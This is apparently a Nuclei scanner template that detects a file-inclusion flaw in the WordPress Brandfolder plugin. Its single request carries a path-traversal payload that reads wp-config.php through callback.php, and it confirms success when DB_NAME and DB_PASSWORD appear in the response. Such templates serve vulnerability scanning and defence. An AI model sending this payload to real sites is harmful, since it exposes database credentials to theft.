id: brandfolder-lfi

info:
  name: Wordpress Brandfolder - Remote/Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Brandfolder allows remote attackers to access arbitrary files that reside on the local and remote server and disclose their content.
  reference:
    - https://www.exploit-db.com/exploits/39591
    - https://cxsecurity.com/issue/WLB-2016030120
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: lfi,rfi,edb,wordpress,wp-plugin,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022074fce76a05fb2e9ab6af1ad40c9e1a0db5499ff83eb0cd9edd4375eda0964287022100dc10d7f5ed7485ffd587c10bb21a2ed24da5a3d7a2d727282d7b52858651e2da:922c64590222798bb761d5b6d8e72950